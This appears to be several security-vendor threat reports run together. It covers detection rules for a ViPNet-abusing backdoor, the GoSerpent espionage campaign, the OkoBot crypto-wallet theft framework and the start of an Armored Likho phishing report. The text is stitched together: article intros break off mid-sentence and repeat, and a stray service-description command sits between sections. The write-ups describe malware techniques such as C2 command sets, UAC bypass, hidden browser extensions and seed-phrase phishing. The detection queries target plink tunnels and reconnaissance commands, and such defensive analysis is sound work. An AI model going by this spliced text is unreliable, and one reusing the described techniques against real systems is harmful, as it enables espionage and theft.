One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.
It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.
Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.
The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.
Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe or Itcsrvup.exe).
Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.
To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:
R220_02_Collection of user account information using standard Windows tools
R221_01_Windows group discovery via Windows tools
R224_02_Remote system discovery via standard Windows tools
R224_14_Windows reconnaissance activity
R226_02_Collection of information about network connections using standard Windows tools
Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:
Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System:
(DeviceEventClassID = '4663' OR DeviceEventClassID = '11')
AND match(FileName, '.*\\.(exe|dll)')
AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
DeviceEventClassID = 7
AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe')
AND FileName ilike '%wtsapi32.dll'
AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe:
(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')
Launching the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
DeviceEventClassID = '1'
AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
Atypical reconnaissance execution from the svchost.exe process:
(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND SourceProcessName ilike '%svchost.exe'
AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')
Creation of tunnels using renamed ssh or plink processes:
DeviceEventClassID = '1'
AND match(OldFileName, '.*(plink|ssh).*')
AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'
For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.
sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."
Introduction
In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.
During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote
In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.
During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.
Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.
We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.
What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.
In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.
Technical details
Initial phase of the attacks
The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.
GoSerpent backdoor
The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.
This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.
The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.
GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:
Command
Symbol (as derived from corresponding function names)
Description
2BA1
Sync
Respond to the server to show the infection is active
3BA2
Exit
Exit process
4BA3
Ls
Start listening on a port
5BA4
Connect
Connect to a remote server
6BA5
Hello
Create a shell on the infected machine
7BA6
Ul
Upload a file or directory to the server
8BA7
Dl
Download from the server
9BA8
Ss5
Start a SOCKS5 proxy on the infected machine
ABA9
Cl
Close a listening port
CBAB
RF
Forward to a connected node
GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.
McMx RAT
McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.
Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.
Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.
The tool shares core functionalities with GoSerpent, including:
SOCKS5 proxying
port forwarding
file transfer
remote shell capabilities
Data collection and credential dumping tools
Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.
ThumbcacheService
ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.
The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.
Credential dumping tools
The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:
Mimikatz — dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
QuarksDumpLocalHash — extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.
These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.
Second stage of the attacks
After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.
Stowaway
Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:
SOCKS5 proxying
port forwarding
reverse tunneling
remote shell access
file transfer
SSH-based tunneling
Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:
TmcLoader with an embedded payload
{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration file
TmcLoader/TmcPayload
TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.
TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.
The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.
TmcPayload generates a file path from an obfuscated string:
C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.
It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.
Toolset integration
What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:
ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
TmcLoader/TmcPayload: deployed via Stowaway, reads the configuration file for data exfiltration.
Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.
This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.
Infrastructure
The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.
Attribution
While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.
Conclusion
The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.
Introduction
In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them vi
In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.
Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.
Background
TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.
Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.
We dubbed this updated TookPS campaign “OkoBot”.
Original OkoBot infection chain
We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.
New OkoBot infection chain
Initial infection
The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.
Malicious application distribution report
This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.
Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.
Back connection
The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:
Open firewall ports for inbound RDP traffic
Create a user in the “Remote Desktop Users” group
Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour
After that, the SSH bot begins retrieving malicious modules over SFTP.
Launcher with advanced options
One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.
Active sessions
At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.
Example output of HDUtil enumeration commands
UAC bypass
The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.
Below is the list of all HDUtil commands.
Command
Description
target [nouac [user=<user>]] [noattach] <file>
Starts file and prints its output.
If optional argument noattach passed, command to be executed in background.
If optional argument nouac passed, automatic UAC bypass to be performed.
If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen.
pcopy <file> <dir_src> <dir_dst>
Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot.
enumadapters
Prints names of graphical adapters on current system. Not used by SSH bot.
enumsessions
Prints all sessions on current system. Not used by SSH bot.
Browser extensions loader
The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.
The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.
Setting up protections on the regions and launching the implant
This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.
List of the functions hooked by the malware
Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.
The loader replaces the functions it finds with its own
When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.
During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.
Extensions are unpacked into a non-default directory
All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.
The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.
Stub for hiding malicious extensions
During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.
Plugins dispatcher
The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.
Decrypting implant using AES GCM and subsequent mapping
The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:
Task index
Action
1
Reconfigure client: update session keys, assign ID, switch to another C2
2
Load DLL implant into memory and run its entry point
3
Load plugin into process and register tasks with RegisterPlugin function
4
Restart dispatcher as new process
x
If the task number is none of the above, search for it among the registered plugins
Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.
Resolving a plugin initialization function
During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.
CMD wrapper (10xx): allows running scripts and individual commands in cmd.
PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
Environment enumerator (12xx): gathers system information, active sessions, and processes.
Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.
We identified four malicious implants that are delivered to the system via the process injector plugin.
ext daemon
The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.
SeedHunter
Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.
List of functions hooked by the malware
Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.
When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.
Phishing pages for seed phrase recovery
The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.
MC Keylogger
This module is a keylogger that, in addition to recording user input, performs three malicious activities:
Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.
Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.
Example of the keylogger log file
OkoSpyware
This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.
Example of an OkoSpyware metadata file
The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.
Artifacts exfiltration
The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.
Sequential exfiltration of artifacts from the temporary directory
Victims
At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.
Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)
Attribution
At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.
It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.
Conclusion
The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.
The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.
Introduction
During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.
Armored Likho blends financially motivated campaigns ta
During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.
Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.
Key campaign highlights:
The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.
This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.
Initial infection vector
Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.
EXE attachment
In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.
Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.
Payload repository example
